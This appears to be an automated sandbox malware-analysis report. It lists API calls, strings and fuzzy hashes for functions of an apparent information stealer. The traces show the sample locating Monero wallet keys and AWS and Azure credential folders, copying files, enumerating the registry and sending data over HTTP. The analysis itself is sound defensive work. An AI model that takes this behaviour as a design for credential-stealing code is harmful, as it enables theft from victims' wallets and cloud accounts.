Opcode Fuzzy Hash: 75d25d91987acf8dd98a81a509a617d4ede9737263975a7daa3cb412572825f6
Instruction Fuzzy Hash: B6124471910218ABCB04FBA4DE96EEE7378BF24300F504159F507A62A1DF35AE05DB76

Function 00AC5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
Part of subcall function 00AC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AC59F8
StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0178E420,00000000,?,01789A58,00000000,?,00AE1A1C), ref: 00AC5E71
lstrlen.KERNEL32(00000000), ref: 00AC5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00AC5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00AC5E9A
lstrlen.KERNEL32(00000000), ref: 00AC5EAF
lstrlen.KERNEL32(00000000), ref: 00AC5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AC5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00AC5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AC5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00AC5F4C
InternetCloseHandle.WININET(00000000), ref: 00AC5FB0
InternetCloseHandle.WININET(00000000), ref: 00AC5FBD
HttpOpenRequestA.WININET(00000000,0178E380,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC5BF8

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

InternetCloseHandle.WININET(00000000), ref: 00AC5FC7

Strings

------, xrefs: 00AC5A96
------, xrefs: 00AC5C0B
", xrefs: 00AC5CD5
------, xrefs: 00AC5D4C
", xrefs: 00AC5E16

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: f44b5a9cc139512cf9810d5ee243df4c7ca87d2095504e5eee022a163ace2286
Instruction ID: f77d93a205df36023d1e930a32a71cd306f6d43f4e8afd23aeace697b1f03e96
Opcode Fuzzy Hash: f44b5a9cc139512cf9810d5ee243df4c7ca87d2095504e5eee022a163ace2286
Instruction Fuzzy Hash: 17121272920118ABDB15EBA0DD95FEE7378BF24700F50419AF50BA2291EF702B49CF65

Function 00ACCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD8B60: GetSystemTime.KERNEL32(00AE0E1A,01789DE8,00AE05AE,?,?,00AC13F9,?,0000001A,00AE0E1A,00000000,?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00AD8B86

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ACCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00ACD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00ACD0CE
lstrcat.KERNEL32(?,00000000), ref: 00ACD208
lstrcat.KERNEL32(?,00AE1478), ref: 00ACD217
lstrcat.KERNEL32(?,00000000), ref: 00ACD22A
lstrcat.KERNEL32(?,00AE147C), ref: 00ACD239
lstrcat.KERNEL32(?,00000000), ref: 00ACD24C
lstrcat.KERNEL32(?,00AE1480), ref: 00ACD25B
lstrcat.KERNEL32(?,00000000), ref: 00ACD26E
lstrcat.KERNEL32(?,00AE1484), ref: 00ACD27D
lstrcat.KERNEL32(?,00000000), ref: 00ACD290
lstrcat.KERNEL32(?,00AE1488), ref: 00ACD29F
lstrcat.KERNEL32(?,00000000), ref: 00ACD2B2
lstrcat.KERNEL32(?,00AE148C), ref: 00ACD2C1
lstrcat.KERNEL32(?,00000000), ref: 00ACD2D4
lstrcat.KERNEL32(?,00AE1490), ref: 00ACD2E3

Part of subcall function 00ADA820: lstrlen.KERNEL32(00AC4F05,?,?,00AC4F05,00AE0DDE), ref: 00ADA82B
Part of subcall function 00ADA820: lstrcpy.KERNEL32(00AE0DDE,00000000), ref: 00ADA885

lstrlen.KERNEL32(?), ref: 00ACD32A
lstrlen.KERNEL32(?), ref: 00ACD339

Part of subcall function 00ADAA70: StrCmpCA.SHLWAPI(01788B20,00ACA7A7,?,00ACA7A7,01788B20), ref: 00ADAA8F

DeleteFileA.KERNEL32(00000000), ref: 00ACD3B4

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: d43d7f8cf28a37de7770c061edd92fbcd2027cfc1b451f0f94e1ddc3bc62c867
Instruction ID: 8f386afc5fd796f2e8e91112f0493be3f0b94c4ea4d22c08f4f99f4c603caf22
Opcode Fuzzy Hash: d43d7f8cf28a37de7770c061edd92fbcd2027cfc1b451f0f94e1ddc3bc62c867
Instruction Fuzzy Hash: 08E13F71910208ABCB04EBA4DE96EEE7378BF24301F50415AF507A72A1DF35AE05DB76

Function 00AD8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

RegOpenKeyExA.KERNEL32(00000000,0178AE20,00000000,00020019,00000000,00AE05B6), ref: 00AD83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00AD8426
wsprintfA.USER32 ref: 00AD8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00AD847B
RegCloseKey.ADVAPI32(00000000), ref: 00AD848C
RegCloseKey.ADVAPI32(00000000), ref: 00AD8499

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Strings

- , xrefs: 00AD85A3
?, xrefs: 00AD837A
%s\%s, xrefs: 00AD844D

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 39c6cc2d9fcaf4fce90e0b7888bf34d443be0400f68c0aa25dc32be80e9f52d3
Instruction ID: 3fa15d16b5e244f874a25af9a8a6a5a74704a8d814eaa2ccc6cde4a86dd946b1
Opcode Fuzzy Hash: 39c6cc2d9fcaf4fce90e0b7888bf34d443be0400f68c0aa25dc32be80e9f52d3
Instruction Fuzzy Hash: 95813E71910218ABDB24DB54CD95FEE77B8FF58700F0086D9E10AA6240DF75AB85CFA1

Function 00AC6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
Part of subcall function 00AC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

InternetOpenA.WININET(00AE0DFE,00000001,00000000,00000000,00000000), ref: 00AC62E1
StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC6335
HttpOpenRequestA.WININET(00000000,GET,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00AC63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00AC63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00AC63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AC646D
InternetCloseHandle.WININET(00000000), ref: 00AC64EF
InternetCloseHandle.WININET(00000000), ref: 00AC64F9
InternetCloseHandle.WININET(00000000), ref: 00AC6503

Strings

ERROR, xrefs: 00AC6407
ERROR, xrefs: 00AC64C9
GET, xrefs: 00AC637C

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 8114ecaa269140a78673fc8080726422cbacdf6fdc990460c1caccfac422a843
Instruction ID: afa4b86c08a2f688cd2dc1cc41c290ff341929c26386dded19c7e7b81bbb9f5b
Opcode Fuzzy Hash: 8114ecaa269140a78673fc8080726422cbacdf6fdc990460c1caccfac422a843
Instruction Fuzzy Hash: EA714C71A00358ABDB24DFA4DD49FEE7778BB44700F108199F50AAB290DBB46A85CF52

Function 00AD5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA820: lstrlen.KERNEL32(00AC4F05,?,?,00AC4F05,00AE0DDE), ref: 00ADA82B
Part of subcall function 00ADA820: lstrcpy.KERNEL32(00AE0DDE,00000000), ref: 00ADA885

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00AD5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00AD56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00AD5857

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AD51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00AD5228

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00AD52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00AD5318
Part of subcall function 00AD52C0: lstrlen.KERNEL32(00000000), ref: 00AD532F
Part of subcall function 00AD52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00AD5364
Part of subcall function 00AD52C0: lstrlen.KERNEL32(00000000), ref: 00AD5383
Part of subcall function 00AD52C0: lstrlen.KERNEL32(00000000), ref: 00AD53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00AD578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00AD5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00AD5A0C
Sleep.KERNEL32(0000EA60), ref: 00AD5A1B

Strings

ERROR, xrefs: 00AD5849
ERROR, xrefs: 00AD5932
ERROR, xrefs: 00AD5693
ERROR, xrefs: 00AD59FE
ERROR, xrefs: 00AD5636
ERROR, xrefs: 00AD577D

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 348c975db5ab83707d383fa35524452e949ed0be269ebe37bfee3c5daaaf6506
Instruction ID: 48651fe1aa2fa8daeff4d113470a59edef7626685d84c46f9a3037bbbb716960
Opcode Fuzzy Hash: 348c975db5ab83707d383fa35524452e949ed0be269ebe37bfee3c5daaaf6506
Instruction Fuzzy Hash: E8E14571D102489ACB14FBB4DE56EED7338BF64340F50852AB50796291EF34AF09DBA2

Function 00AD4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00AD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00AD4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00AD4DCD

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD492C
Part of subcall function 00AD4910: FindFirstFileA.KERNEL32(?,?), ref: 00AD4943

lstrcat.KERNEL32(?,00000000), ref: 00AD4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00AD4E59

Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FDC), ref: 00AD4971
Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE0FE0), ref: 00AD4987
Part of subcall function 00AD4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00AD4B7D
Part of subcall function 00AD4910: FindClose.KERNEL32(000000FF), ref: 00AD4B92

lstrcat.KERNEL32(?,00000000), ref: 00AD4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00AD4EE5

Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD49B0
Part of subcall function 00AD4910: StrCmpCA.SHLWAPI(?,00AE08D2), ref: 00AD49C5
Part of subcall function 00AD4910: wsprintfA.USER32 ref: 00AD49E2
Part of subcall function 00AD4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00AD4A1E
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,0178E3E0), ref: 00AD4A4A
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,00AE0FF8), ref: 00AD4A5C
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,?), ref: 00AD4A70
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,00AE0FFC), ref: 00AD4A82
Part of subcall function 00AD4910: lstrcat.KERNEL32(?,?), ref: 00AD4A96
Part of subcall function 00AD4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00AD4AAC
Part of subcall function 00AD4910: DeleteFileA.KERNEL32(?), ref: 00AD4B31

Strings

*.*, xrefs: 00AD4E64
*.*, xrefs: 00AD4DD8
\.azure\, xrefs: 00AD4DC1
Azure\.IdentityService, xrefs: 00AD4EEB
